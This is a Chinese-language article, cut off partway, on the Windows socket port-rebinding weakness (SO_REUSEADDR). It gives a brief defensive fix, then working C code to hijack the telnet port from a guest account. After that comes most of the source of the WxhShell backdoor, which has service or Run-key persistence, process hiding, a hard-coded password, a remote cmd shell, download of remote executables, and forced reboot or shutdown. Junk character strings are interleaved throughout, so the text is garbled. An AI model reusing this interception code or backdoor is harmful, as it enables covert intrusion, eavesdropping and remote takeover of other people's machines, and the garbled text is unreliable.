在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
bGik~ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
<fDbz1Q;l 3\|PwA9fN8 saddr.sin_family = AF_INET;
A*W/Q<~I `CG% Y>+ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
prGp/"E q=k[]vD bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
v5L#H=P TezwcFqH 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
y*lAmO 1+ V<-I@{ 这意味着什么?意味着可以进行如下的攻击:
Oz=!EG|N {dvsZJj 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
.Txwp?}; eM^Y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
[t]q#+Zs n%{oFTLCo 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Z}>+!Z )2bbG4:N 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
|YrvY1d! jG,^~5x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
K` <`l VS+5{w:t 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
s)9sbJ :(4];Va 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}vW3<|z +F^X1 #include
/$UWTq/C7
#include
l^v,X%{Iz #include
=CL h<& #include
f/i[?
gw DWORD WINAPI ClientThread(LPVOID lpParam);
\>e>J\t: int main()
9|>5;Ej {
B(pHo&ox
WORD wVersionRequested;
.1[pO_ DWORD ret;
I!~3xZ WSADATA wsaData;
N0(($8G BOOL val;
q/3co86c SOCKADDR_IN saddr;
?WrL<?r)}U SOCKADDR_IN scaddr;
O9:J
^g int err;
"IoY$!Hk SOCKET s;
t=dZM}wj_\ SOCKET sc;
Aoy=gK int caddsize;
<##aD3) HANDLE mt;
w6[$vib' DWORD tid;
'WoB\y569 wVersionRequested = MAKEWORD( 2, 2 );
^ANz=`N5, err = WSAStartup( wVersionRequested, &wsaData );
Cx8
H if ( err != 0 ) {
ns&(g^ printf("error!WSAStartup failed!\n");
^I!gteU; return -1;
iBqIV }
C,5Erb/ saddr.sin_family = AF_INET;
4cAx9bqA `Ro>?H //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
|d_ rK2 2Zi&=Zj" saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
[Mlmn$it saddr.sin_port = htons(23);
4,ewp coC% if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
s;:quM {
4?~Ei[KgQn printf("error!socket failed!\n");
xf8.PqVNo return -1;
rB3b }
&3Mps[u:h val = TRUE;
&sS]h|2Z5 //SO_REUSEADDR选项就是可以实现端口重绑定的
aGmbB7[BZ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Wr.~Ns< {
rXnG"A printf("error!setsockopt failed!\n");
f{#Mc return -1;
yx/qp<= }
^4>Icz^ F //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
b'4r5@GO //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Td![Id //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
20mZ{_% -o sxKT: if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
`O}bPwa{> {
'8fh(` ret=GetLastError();
R]_fe4Y0 printf("error!bind failed!\n");
hFt ~7R return -1;
2pAshw1G }
x`p3I*_HT5 listen(s,2);
:n(!, while(1)
X] t * {
-!ERe@k( caddsize = sizeof(scaddr);
SP5t=#M6 //接受连接请求
,
-S n sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
o`[X _ if(sc!=INVALID_SOCKET)
?a-}1A{
{
vX}mwK8
mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
}i2dXC/ if(mt==NULL)
WFpR@53Db {
s&qr2'F+z printf("Thread Creat Failed!\n");
&bS!>_9 break;
n 0ls a@l }
IN94[yW{1 }
r#K" d CloseHandle(mt);
8__C T }
0qD.OF)8 closesocket(s);
^->vUf7PX WSACleanup();
zGE{Z A return 0;
]mvVX31T }
9i#K{CkC| DWORD WINAPI ClientThread(LPVOID lpParam)
.ZOyZnr
Z {
6c&OR2HGqO SOCKET ss = (SOCKET)lpParam;
W[j7Vi8v SOCKET sc;
0B~Q.tyP unsigned char buf[4096];
\{`*`WQF SOCKADDR_IN saddr;
K?aUIkVs long num;
9:6d,^X DWORD val;
GE.@*W DWORD ret;
U*em)/9 //如果是隐藏端口应用的话,可以在此处加一些判断
78<QNlKn //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&0S/]E`_M saddr.sin_family = AF_INET;
`o!a
RX saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
J*O$)K%Hx saddr.sin_port = htons(23);
'k[gxk|d2 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
G6x 2!Ny {
dCM*4B< printf("error!socket failed!\n");
F`YxH*tO7 return -1;
;^:$O6J7T~ }
hk1jxnQh val = 100;
_i{4 4zE if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
<0I=XsE1iX {
t~"DQqE ret = GetLastError();
QYTwGThWR return -1;
f^X\ N/ }
pGGx.&5#82 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
y7#4Mcc`~ {
a'ODm6# ret = GetLastError();
XG}pp`{o return -1;
K1>(Fs$ }
Vl+,OBy if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
kXbdR {
abM4G printf("error!socket connect failed!\n");
Y_<(~eN` closesocket(sc);
CDM==Xa* closesocket(ss);
\M`fkR,,' return -1;
;F<)BEXC< }
h8_~ OX while(1)
' ! ls"qo {
Aw *:5 I[ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
DY%#E9 //如果是嗅探内容的话,可以再此处进行内容分析和记录
TID0x/j"K5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
}ZWeb#\ num = recv(ss,buf,4096,0);
\4`2k if(num>0)
$R<eXDW6: send(sc,buf,num,0);
emI]'{_G else if(num==0)
3M&75OE break;
L&nGjC+Lr num = recv(sc,buf,4096,0);
2=l!b/m if(num>0)
zdUi1 b send(ss,buf,num,0);
W=~H_L?/ else if(num==0)
[0G>=h@u break;
lC i_G3C }
oFRb+H(E closesocket(ss);
2tqO%8`_ closesocket(sc);
QYL
'; return 0 ;
C&'Y@GE5 }
lEC58`Ws P&Q 5ZQb ]jzINaMav ==========================================================
=JnUTc_u RFu]vFff 下边附上一个代码,,WXhSHELL
c!%:f^7g BDg6ZI<n ==========================================================
<!vAqqljt Uq6..<# #include "stdafx.h"
hD/bO ?%HtPm2< % #include <stdio.h>
qEpP%p #include <string.h>
R%Yws2Le2 #include <windows.h>
d0 tN73( #include <winsock2.h>
;G3{ e #include <winsvc.h>
i4"xvLK4 #include <urlmon.h>
r(yb%p+ *{)![pDYd #pragma comment (lib, "Ws2_32.lib")
!2N#H~{ #pragma comment (lib, "urlmon.lib")
iV71t17 WiL~b
=fT #define MAX_USER 100 // 最大客户端连接数
P
+ nT% #define BUF_SOCK 200 // sock buffer
O ,[aL;v #define KEY_BUFF 255 // 输入 buffer
dR_hPBn/@ w`VmN}pR #define REBOOT 0 // 重启
.n`MPx' #define SHUTDOWN 1 // 关机
";e0-t6: $sO}l #define DEF_PORT 5000 // 监听端口
c"J(? 1O XI,F^K #define REG_LEN 16 // 注册表键长度
ls6ywLP{ #define SVC_LEN 80 // NT服务名长度
xTM&SVNbL_ [zR
raG\ // 从dll定义API
:OBggb#?! typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
w|PZSOJ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
4f"a/(>* typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
]IJ.} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
l(zkMR$b8 9ffRY,1@ // wxhshell配置信息
nx,67u/Pb struct WSCFG {
zq]V6.]J int ws_port; // 监听端口
b\?#O} char ws_passstr[REG_LEN]; // 口令
,Ql3RO, int ws_autoins; // 安装标记, 1=yes 0=no
1)NX;CN char ws_regname[REG_LEN]; // 注册表键名
(vjQF$Hp char ws_svcname[REG_LEN]; // 服务名
VPg`vI$(X char ws_svcdisp[SVC_LEN]; // 服务显示名
*(d^k; char ws_svcdesc[SVC_LEN]; // 服务描述信息
^B?koU l^ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Af0E_ int ws_downexe; // 下载执行标记, 1=yes 0=no
9&'Mb[C`"
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
v(4C?vxhG char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Ye!= YKl!M/
};
e= "/oo a+mq=K // default Wxhshell configuration
lLtC9: struct WSCFG wscfg={DEF_PORT,
v-[|7Pg}Z "xuhuanlingzhe",
\{+7`4g 1,
rf1nC$Sop "Wxhshell",
!,\9,lc "Wxhshell",
QbqLj>-AJ "WxhShell Service",
8yFD2(# "Wrsky Windows CmdShell Service",
Zml9ndzT "Please Input Your Password: ",
8N-~ .p 1,
o<P%|>qX "
http://www.wrsky.com/wxhshell.exe",
L +. K}w "Wxhshell.exe"
O t`}eL- };
T:.J9 3[aJ=5 // 消息定义模块
dGh<R|U3 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
5'V'~Q% char *msg_ws_prompt="\n\r? for help\n\r#>";
o<l4}~a char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
N??<3j+Iu char *msg_ws_ext="\n\rExit.";
oRWsi/Zf char *msg_ws_end="\n\rQuit.";
:@b>,{*4zS char *msg_ws_boot="\n\rReboot...";
)vGRfFjw_ char *msg_ws_poff="\n\rShutdown...";
Qn%*kU0X char *msg_ws_down="\n\rSave to ";
5I(`
s#O ;N"XW=F4e char *msg_ws_err="\n\rErr!";
L1C'V/g char *msg_ws_ok="\n\rOK!";
[TO:-8$. ;co{bk|rj char ExeFile[MAX_PATH];
D|-]"(2i int nUser = 0;
nNilTJ
HANDLE handles[MAX_USER];
*bRH,u int OsIsNt;
o~>p=5t <JH0 & SERVICE_STATUS serviceStatus;
Z^GriL SERVICE_STATUS_HANDLE hServiceStatusHandle;
A7b7IM [ aeBth{ // 函数声明
1NOz $fW int Install(void);
KI>7h.t int Uninstall(void);
"hlIGJ?_= int DownloadFile(char *sURL, SOCKET wsh);
oHi&Z$#!n int Boot(int flag);
bR&hI9`%F void HideProc(void);
\HK#d1>ox int GetOsVer(void);
(uV7N7 <1 int Wxhshell(SOCKET wsl);
U-n33ty`H void TalkWithClient(void *cs);
Fx3VQ'%J int CmdShell(SOCKET sock);
s.GhquFCrU int StartFromService(void);
At bqj? int StartWxhshell(LPSTR lpCmdLine);
dqKTF_+VhA +Qc^A VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@MB;Ez
v VOID WINAPI NTServiceHandler( DWORD fdwControl );
>9u6@ !^"hYp` // 数据结构和表定义
O&w$ SERVICE_TABLE_ENTRY DispatchTable[] =
$yFur[97C {
06Hn:IT18 {wscfg.ws_svcname, NTServiceMain},
m/ 6oQ {NULL, NULL}
1;:2 =8 };
-ZyFUGd% |g'sRTKJ // 自我安装
*10e)rzM int Install(void)
uqO51V~ {
J0=`n(48B char svExeFile[MAX_PATH];
s9 E:6 HKEY key;
.ySesN: C~ strcpy(svExeFile,ExeFile);
Bgs~1E @8V 1
yzxA( // 如果是win9x系统,修改注册表设为自启动
LiB0]+wzj if(!OsIsNt) {
m1[QD26 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*V"cu RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
ZXUe4@qfl RegCloseKey(key);
l
E&hw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'g=yJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
,-b{oS~u RegCloseKey(key);
vy"Lsr3 return 0;
xwRnrWd^6 }
A|>C3S }
q90S>c, }
EhD|\WLx! else {
yh0|f94m k=~?!+p7 // 如果是NT以上系统,安装为系统服务
\W(p )M SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
@`_j't, if (schSCManager!=0)
&^uzg&,; {
U/iAP W4U SC_HANDLE schService = CreateService
%DV@ 2rC< (
S|>Up%{n[ schSCManager,
e:,.-Kvzp` wscfg.ws_svcname,
?xf;#J+{8 wscfg.ws_svcdisp,
wl{p,[] SERVICE_ALL_ACCESS,
[{ { ?e6J SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
KqS2 SERVICE_AUTO_START,
h?ia4t SERVICE_ERROR_NORMAL,
Fb``&-Qm: svExeFile,
0zTv'L NULL,
<7jb4n< NULL,
C3b'Q NULL,
y\S7oD(OR NULL,
5~44R@` NULL
9e1 6 g );
hx2C<;s4 if (schService!=0)
$>h#|?*? {
%&]}P;& CloseServiceHandle(schService);
~lF lv+,% CloseServiceHandle(schSCManager);
zgRP!q<9tt strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
I?Zs|A strcat(svExeFile,wscfg.ws_svcname);
vXnpx}B if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
3=<iGX"z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
#P4dx'vm RegCloseKey(key);
52["+1g\ return 0;
~o%-\^oc }
O)5PUyC:H }
)R +o8C CloseServiceHandle(schSCManager);
sTA/2d }
#y*=UV|h }
GVfu_z? - dOT/%Ux return 1;
dH/t|.% }
b #^aM _kx // 自我卸载
j0%0yb{-^ int Uninstall(void)
TcP1"wc {
dI 5sqM: HKEY key;
*3ne(c 8x9kF]= if(!OsIsNt) {
)>Q 2G/@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
o5D" <-=> RegDeleteValue(key,wscfg.ws_regname);
z^Jl4V RegCloseKey(key);
kR6 t
. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v\Wm[Ld RegDeleteValue(key,wscfg.ws_regname);
j^ _I{ RegCloseKey(key);
xk*3,J6BK return 0;
<?zTnue }
h/fCCfO, }
^i8I 1@ = }
KJ)nGoP> else {
_ <;Q=?'* pNqf2CnnT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
R_qo]WvR; if (schSCManager!=0)
VA%"IAl {
38m%ifh) SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
0`P]fL+& if (schService!=0)
7XDV=PQ[ {
ZM vTDH! if(DeleteService(schService)!=0) {
6|KX8\,A@ CloseServiceHandle(schService);
)a^Yor)o" CloseServiceHandle(schSCManager);
uTU4Fn\$L return 0;
@*DIB+K }
h3kHI?jMWG CloseServiceHandle(schService);
(v`;ym }
#8z,'~\ CloseServiceHandle(schSCManager);
.?p}: }
2&Byq }
R2$ U K Vf?#W,5>= return 1;
t>wxK
, }
/,Rca1W nFfCw%T? // 从指定url下载文件
}91mQ`3 int DownloadFile(char *sURL, SOCKET wsh)
H< ;Fb;b {
}x.)gW HRESULT hr;
aVP|:OAj char seps[]= "/";
>jX
UO char *token;
y@M}T{,/ char *file;
3\KII9 char myURL[MAX_PATH];
<c ovApx char myFILE[MAX_PATH];
~}5Ml_J$,l 30_un strcpy(myURL,sURL);
u3wC}Zo token=strtok(myURL,seps);
;-?ZI$ while(token!=NULL)
{}pqxouE {
Is@a,k file=token;
&'7"i~pC token=strtok(NULL,seps);
~+#--BhV }
?*'$(}r3 uit-Q5@~ GetCurrentDirectory(MAX_PATH,myFILE);
UNQRtR/ strcat(myFILE, "\\");
4*vas]
strcat(myFILE, file);
be:phS4vz send(wsh,myFILE,strlen(myFILE),0);
-L9R&r#_e send(wsh,"...",3,0);
8'lhp2#h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
DLYZsWA, if(hr==S_OK)
Uk:.2%S2 return 0;
cU*lB! else
H\I!J@6g return 1;
Q
H_W\W Tdwwtbe }
,%h!% nz! R9l7CJM@ // 系统电源模块
B#aH\$_U int Boot(int flag)
h_~|O[5|) {
R*@[Pg* HANDLE hToken;
jBv$^L TOKEN_PRIVILEGES tkp;
2 1~7{# ]zyX@=mM if(OsIsNt) {
L)lQ&z? OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
}[z<iij4 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
v1r_Z($ tkp.PrivilegeCount = 1;
)_v\{N tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
)@qup _M@ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
*e<Eu>fW#& if(flag==REBOOT) {
fcICFReyV if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
W3/ 7BW` return 0;
5)yOw|Bd }
"Py Wo else {
@%<?GNS O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
]&:b<]K3 return 0;
nnE_OK!}T }
FxfL+}?Q }
`<J#l;y else {
Q)S>VDLA if(flag==REBOOT) {
`x UG| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
3%R{"Q" return 0;
+%wWSZ<# }
lKEX"KQ! else {
Wu!t C if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
s^>lOQ= return 0;
N\q)LM !M }
iS"8X#[]N }
XY{:tR_al VI24+h'J return 1;
<'[Ku;m }
S9p?* h `ME(U~<< // win9x进程隐藏模块
OB6J.dF[% void HideProc(void)
G*\abL {
ZCQ<%f 90s;/y( HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
T|@#w%c'' if ( hKernel != NULL )
Cqgk {
%f(S'<DhC pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
JzMZB"Z? ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
pDq#8*q+v FreeLibrary(hKernel);
ku9@&W+ }
nlzW.OLM t'R':+0Vf return;
t<sNc8x }
Y}LLOj@L IyS" // 获取操作系统版本
uxOJ3 int GetOsVer(void)
dC`tN5 {
_1sMY hI OSVERSIONINFO winfo;
L)F1NuR winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
]4Y/x i- GetVersionEx(&winfo);
!:"-:O}>=, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
lc[XFc return 1;
a}KK{Vqo` else
`l/:NF return 0;
CV&zi6 }
8/3u/ H&X:!xa5 // 客户端句柄模块
B6bOEPQ int Wxhshell(SOCKET wsl)
aDL)|>"Q {
[$l"-*s4 SOCKET wsh;
TZ_rsj/t struct sockaddr_in client;
x(PKFn DWORD myID;
3ai (x1% gYatsFyL while(nUser<MAX_USER)
hH%,!tSx {
-J,Q;tj int nSize=sizeof(client);
B0oxCc/'sZ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
$PSY:Zz if(wsh==INVALID_SOCKET) return 1;
Q.,DZp (0i'Nb" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
}:`5,b%Y_ if(handles[nUser]==0)
V+lRi"m?| closesocket(wsh);
w[(n> else
FY]pv6@ nUser++;
5YiZ-CQ> }
[p ii WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
2sKG(^=Z .^i<xY return 0;
XRa(sXA3 }
pW\z\o/2 4\M8BRuE // 关闭 socket
}[ ].\G\G void CloseIt(SOCKET wsh)
eZg$AOpU {
EeCFII closesocket(wsh);
v&fGCD\R nUser--;
H]s4% 9T ExitThread(0);
qZaO&"q }
mD7}t *z0K%@M // 客户端请求句柄
D(Qa>B"1 void TalkWithClient(void *cs)
%3M95UZ2 {
TPHYz>D] |olNA*4 SOCKET wsh=(SOCKET)cs;
Dl%?OG< char pwd[SVC_LEN];
~m=$VDWm char cmd[KEY_BUFF];
&Yp+k}XU char chr[1];
Xo Y7/&& int i,j;
@,k7xm$u nfX12y_SXL while (nUser < MAX_USER) {
.Gh%p`< lop uf/U0 if(wscfg.ws_passstr) {
xf/m!b"p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Fn!SGX~kx$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
ibJl;sJ //ZeroMemory(pwd,KEY_BUFF);
7JI:=yY!>: i=0;
!z MDP/V while(i<SVC_LEN) {
<Nex8fiJ9 pI>*u ]x // 设置超时
"u;YI=+ fd_set FdRead;
vM`7s[oAK struct timeval TimeOut;
JSgpb?( FD_ZERO(&FdRead);
0Uw
^FcW FD_SET(wsh,&FdRead);
WSLy}@`Vx TimeOut.tv_sec=8;
:uo[&&c TimeOut.tv_usec=0;
EKuSnlTXba int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
IIxJqGN: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
e_/x&a(i8 ]>D)# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
<F7V=Er pwd
=chr[0]; R:/ha(+
if(chr[0]==0xd || chr[0]==0xa) { WmNYO,>
pwd=0; t?{B_Bf
break; 'T7 x@a`b)
} !\;:36B#6
i++; T C8`JU=wV
} F$Q04Qw
3OP.12^
// 如果是非法用户,关闭 socket p0M=t-
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (#o t^
} !v9lk9SV
)TU<:V
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h*Je35
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tPU-1by$
Uoji@
while(1) { s<vs:jna
t`5j4bdG
ZeroMemory(cmd,KEY_BUFF); vXdZmYrC
A59gIp*>
// 自动支持客户端 telnet标准 9t K>gwb
j=0; KE.Dt
while(j<KEY_BUFF) { NZk&JND
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]JjK#eh
cmd[j]=chr[0]; :.uk$jx
if(chr[0]==0xa || chr[0]==0xd) { J02^i5l
cmd[j]=0; Es.nHN^]%K
break; k4{:9zL1#?
} B
+Aj*\Y.
j++; J8<J8x4
} )(m0cP{7
5mgHlsDzu
// 下载文件 ?NG=8.p
if(strstr(cmd,"http://")) { +=eR%|!@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 51 b y
if(DownloadFile(cmd,wsh)) +Ok%e.\ZM
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6|!NLwa
else 3c #s|qW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XE rUS80
} |g-b8+.=]
else { e1/sqXWo
%8mm Hh
switch(cmd[0]) { +E5=$`
!tNd\}@
// 帮助 T3N"CUk
case '?': { ONX8}Ob~
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +e P.s_t
break; W7=V{}b+
} 2YOKM#N]
// 安装 T_;]fPajjD
case 'i': { DlTR|(AL
if(Install()) A:# k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Z,5$6%)
else M#,Q
^rH#
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j6g@tx^)'
break; 8=;k"
} zY=jXa)K~
// 卸载 OH6^GPF6
case 'r': { &@v<nO-
if(Uninstall()) t'1Y@e
send(wsh,msg_ws_err,strlen(msg_ws_err),0); YF[f Z
else ?&X6:KJQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HpW 42
break; SVWIEH0?
} #sB,1"
// 显示 wxhshell 所在路径 9&Ne+MY^%
case 'p': { 7J*N_8?2
char svExeFile[MAX_PATH]; ?+2b(2&MXE
strcpy(svExeFile,"\n\r"); g(hOg~S\E
strcat(svExeFile,ExeFile); '#\1uXM1U?
send(wsh,svExeFile,strlen(svExeFile),0); 'g)n1 {
break; U|@V
74
} d=3'?l`
// 重启 _yH`t[
case 'b': { }-DE`c
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); jqnCA<G~B-
if(Boot(REBOOT)) D'_Bz8H!p
send(wsh,msg_ws_err,strlen(msg_ws_err),0); }< 5F
else { C~4PE>YtTv
closesocket(wsh); `BY&>WY[
ExitThread(0); uQqWew8l+
} Pbu{'y3J
break; gTf|^?vd
} oPQtGl p
// 关机 [xZU!=
case 'd': { ) R2XU
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OJO!FH)
if(Boot(SHUTDOWN)) SOf{Hx0C6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GK*v{`
else { y9l*m~
closesocket(wsh); O4iC]5@
ExitThread(0); rN/|(@
} :aAEJ
break; n,'OiVl[
} h9s >LY
// 获取shell FMw&(
case 's': { ExBUpDQc
CmdShell(wsh); ~P*4V]L^
closesocket(wsh); PWr(*ZP>hI
ExitThread(0); =8{WZCW5
break; +A8j@d#:
} MGpt}|t-
// 退出 ;#/@+4@a&
case 'x': { G$M9=@Ug
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &&>tf%[
CloseIt(wsh); 0(TTw(;
break; RFaSwf,5n
} Cby;?F6w
// 离开 Z|lU8`'5
case 'q': { s1N?/>lmB
send(wsh,msg_ws_end,strlen(msg_ws_end),0); t=
#&fSR
closesocket(wsh); 0&+k.Vg
WSACleanup(); 9xI GV!
exit(1); zYER
break; hqvE!Of
} _fk#<
} &53]sFZ
} 3VO2,PCZ
W_|0y4QOo
// 提示信息 0%Ll
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fxcc<h4
} yay<GP?
} r=uN9ro
o{qr!*_3
return; [Nm4sI11
} n/d`qS
"/Pjjb:2
// shell模块句柄 =T?}Nt
int CmdShell(SOCKET sock) /phX'xp
{ -Apc$0ZsN
STARTUPINFO si; }L=/A7Nk>
ZeroMemory(&si,sizeof(si)); N"tFP9;K
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BR`ygrfe
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OR1DYHHT/1
PROCESS_INFORMATION ProcessInfo; y&~w2{a
char cmdline[]="cmd"; Vv.r8IGYm
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z;tI D~Y
return 0; c_grPk2O4
} `4?~nbz
HSUI${<
// 自身启动模式 0oZsb\
int StartFromService(void) g#]" hn
{ 3f.b\4 U
typedef struct f"[J"j8
{ *D}0[|O
DWORD ExitStatus; f5*k7fg
DWORD PebBaseAddress; <*ZJaBwWU~
DWORD AffinityMask; 4rT*tW"U
DWORD BasePriority; !^#jwRpeN
